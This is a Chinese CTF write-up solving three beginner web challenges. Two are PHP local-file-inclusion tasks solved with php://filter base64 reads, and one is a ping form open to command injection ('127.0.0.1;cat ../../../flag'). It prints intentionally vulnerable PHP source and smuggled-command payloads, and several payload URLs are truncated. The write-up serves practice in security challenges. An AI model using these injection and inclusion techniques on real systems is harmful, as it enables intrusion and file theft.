[ACTF2020 新生赛]Include 原始 题目提供的信息是:
解题 ?file=php: PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg== 解码后得到源代码 echo base64_decode ("PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==" ); (源码) <meta charset="utf8" > <?php error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file ,"php://input" ) || stristr ($file ,"zip://" ) || stristr ($file ,"phar://" ) || stristr ($file ,"data:" )){ exit ('hacker!' ); } if ($file ){ include ($file ); }else { echo '<a href="?file=flag.php">tips</a>' ; } ?>
核心代码分析 $file = $_GET ["file" ];if (stristr ($file ,"php://input" ) || stristr ($file ,"zip://" ) || stristr ($file ,"phar://" ) || stristr ($file ,"data:" )){ exit ('hacker!' ); } if ($file ){ include ($file ); }else { echo '<a href="?file=flag.php">tips</a>' ; }
参数和函数都看得懂,问题是怎么写伪协议的payload
部分伪协议功能: phar: file: http: ftp: php: zlib: data: glob: ssh2: rar: ogg: expect: 来源处:https:
原本访问的那个界面有一个flag.php,直接访问的时候是php代码,尝试读取出来
payload: 读取flag文件 http: 将flag文件读取出来的base64数据流反base64输出 echo base64_decode ("PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MmIxZjc1NWYtYzhjNS00ZWRjLTg3OTUtMGU5NWNlMDZlMjE2fQo=" ); <?php echo "Can you find out the flag?" ; 你没看错,这就是flag. 我也没想到这么简单,应该是为了让我们认识下什么是伪协议.
[ACTF2020 新生赛]Exec 题目原始信息 白给题,原始信息就一个:
ping输入框,输入IP地址后,ping出结果并且返回.
解题 尝试以这种方式去ping: 127.0 .0.1 ;ls 得到列表信息: index.php 尝试返回文件信息: 127.0 .0.1 ;cat index.php 得到关键代码: <?php if (isset ($_POST ['target' ])) { system ("ping -c 3 " .$_POST ['target' ]); } ?> 既然没有任何过滤,翻翻目录找flag就行了 payload: url: http: post参数: target=127.0 .0.1 ;cat ../../../flag
[极客大挑战 2019]Secret File 原始信息 Bp抓包抓到了一个php文件提示,打开看到关键源码
URL: http: 获取的源码: <html> <title>secret</title> <meta charset="UTF-8" > <?php highlight_file (__FILE__ ); error_reporting (0 ); $file =$_GET ['file' ]; if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?> </html>
解题 核心源码:
$file =$_GET ['file' ];if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file );
源码解析
$file =$_GET ['file' ];if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file );
和上一道是一模一样的,试试看:
payload: URL: http: Base64解码得到的base64编码: $a = 'PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Y2IyNzU4NDAtMjFlNC00OWJkLThhOWItNmVjODQ1NWFiZTdifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= ' ; echo (base64_decode ($a )); 源码: <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>FLAG</title> </head> <body style="background-color:black;" ><br><br><br><br><br><br> <h1 style="font-family:verdana;color:red;text-align:center;" >啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br> <p style="font-family:arial;color:red;font-size:20px;text-align:center;" > <?php echo "我就在这里" ; $flag = 'flag{cb275840-21e4-49bd-8a9b-6ec8455abe7b}' ; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?> </p> </body> </html>